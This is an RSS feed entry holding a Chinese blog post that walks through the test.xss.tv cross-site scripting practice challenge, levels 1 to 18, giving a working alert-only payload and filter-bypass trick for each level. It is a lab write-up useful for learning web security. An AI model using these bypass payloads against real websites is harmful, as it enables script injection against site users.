<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>xsstv &#8211; ChaBug安全</title>
	<atom:link href="/tags/xsstv/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 04 Aug 2018 09:37:51 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>xss tv 挑战笔记</title>
		<link>/web/503.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 04 Aug 2018 09:35:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[xsstv]]></category>
		<category><![CDATA[挑战]]></category>
		<guid isPermaLink="false">/?p=503</guid>

					<description><![CDATA[test.xss.tv 最短 xss 平台的题目, 一共20关. 19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象. 这个相对于之前的 xss cha...]]></description>
										<content:encoded><![CDATA[<p><a href="http://test.xss.tv/" target="_blank" rel="noopener">test.xss.tv</a></p>
<p><a href="/wp-content/uploads/2018/08/2018080417374423.png"><img loading="lazy" class="aligncenter size-full wp-image-504" src="/wp-content/uploads/2018/08/2018080417374423.png" alt="" width="502" height="394" /></a></p>
<p>最短 xss 平台的题目, 一共20关.</p>
<p>19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象.</p>
<p>这个相对于之前的 xss challenges 真是一点 Hint 都没有, 不过可以显示出 payload 的长度.</p>
<h2 id="level-1">level 1</h2>
<p>最简单的</p>
<p><code>&lt;svg onload=alert(0)&gt;</code></p>
<h2 id="level-2">level 2</h2>
<p>输出在 value 内, 闭合标签后再插入 payload</p>
<p>也可以用 on 事件, 不过这是下一题的考点</p>
<p><code>"&gt;&lt;img src=0 onerror=alert(0)&gt;</code></p>
<h2 id="level-3">level 3</h2>
<p>单引号闭合</p>
<p><code>1' onmouseover='alert(0)</code></p>
<h2 id="level-4">level 4</h2>
<p>双引号闭合</p>
<p><code>" onmouseover="alert(0)</code></p>
<h2 id="level-5">level 5</h2>
<p>on 事件被转义成 o_n, script 标签也被转义成 scr_ipt</p>
<p>换一个姿势</p>
<p><code>"&gt;&lt;a href=javascript:alert(0)&gt;</code></p>
<h2 id="level-6">level 6</h2>
<p>on href src 都被加上了下划线</p>
<p>大小写绕过</p>
<p><code>&lt;a HrEf="javascript:alert(0)"&gt;click&lt;/a&gt;</code></p>
<h2 id="level-7">level 7</h2>
<p>这题没有转义, 只是把 on href src script 替换成空, 但只替换了一次</p>
<p><code>"&gt;&lt;a hrhrefef="javascscriptript:alert(0)"&gt;click&lt;/a&gt;</code></p>
<h2 id="level-8">level 8</h2>
<p>关键字都被加上了下划线, 用 html 的自解码机制就可以绕过</p>
<p><code>javasc&amp;#114;ipt:alert(0)</code></p>
<h2 id="level-9">level 9</h2>
<p>keyword 中没有 <code>http://</code> 就显示为非法链接</p>
<p>其它的都和上题一样</p>
<p><code>javasc&amp;#114;ipt:alert(&amp;#34;http://&amp;/#34;)</code></p>
<h2 id="level-10">level 10</h2>
<p>查看源代码发现有三个隐藏参数, t_link t_history t_sort, 其中只有 t_sort 可控</p>
<p>由于标签是 hidden 的就不能触发 on 事件, 所以要改回 text 状态</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-11">level 11</h2>
<p>隐藏参数多了个 t_referer, 抓包修改 referer 即可</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-12">level 12</h2>
<p>抓包修改 user-agent</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-13">level 13</h2>
<p>打开后发现多了个 cookie <code>user=call me maybe</code>, 直接修改 cookie 重新访问页面</p>
<p><code>1" type="text" onmouseover="alert(0)</code></p>
<h2 id="level-14">level 14</h2>
<p>这题做的很迷, 打开后直接就是 401 认证, 乱输几个 payload 也没屌用</p>
<p>在网上看了 writeup 后才发现是图片 exif 信息的 xss</p>
<p>估计网站已经关闭了, 就直接跳过吧</p>
<h2 id="level-15">level 15</h2>
<p>查看源代码发现 ng-include 这个参数, 百度一会发现这是 angularjs 的语句, 好像和 php 的文件包含差不多</p>
<p>src 直接包含第一关的内容传参 keyword 为 payload, 并没啥屌用, 后来才发现是 script 标签包含 angularjs 所在的网站被墙了, 恰好又是我大谷歌的地址</p>
<p>包含的时候要加上单引号</p>
<p><code>'level1.php?keyword=&lt;svg onload=alert(0)&gt;'</code></p>
<h2 id="level-16">level 16</h2>
<p>反斜杠空格什么的都被替换成了 <code>&amp;nbsp;</code>, 两个换行符就可以干掉它</p>
<p><code>&lt;svg%0a%0aonload=alert(0)&gt;</code></p>
<h2 id="level-17">level 17</h2>
<p>写的是 xsf, 其实只要在 arg02 后面加上 payload 就行了</p>
<p><code>1 onmouseover=alert(0)</code></p>
<h2 id="level-18">level 18</h2>
<p>同 level 17</p>
<p><code>1 onmouseover=alert(0)</code></p>
<h2 id="level-19-level-20">level 19 level 20</h2>
<p>这两关的 swf 文件明显比之前那两个假的大好多啊.</p>
<p><del>懒得一批</del></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
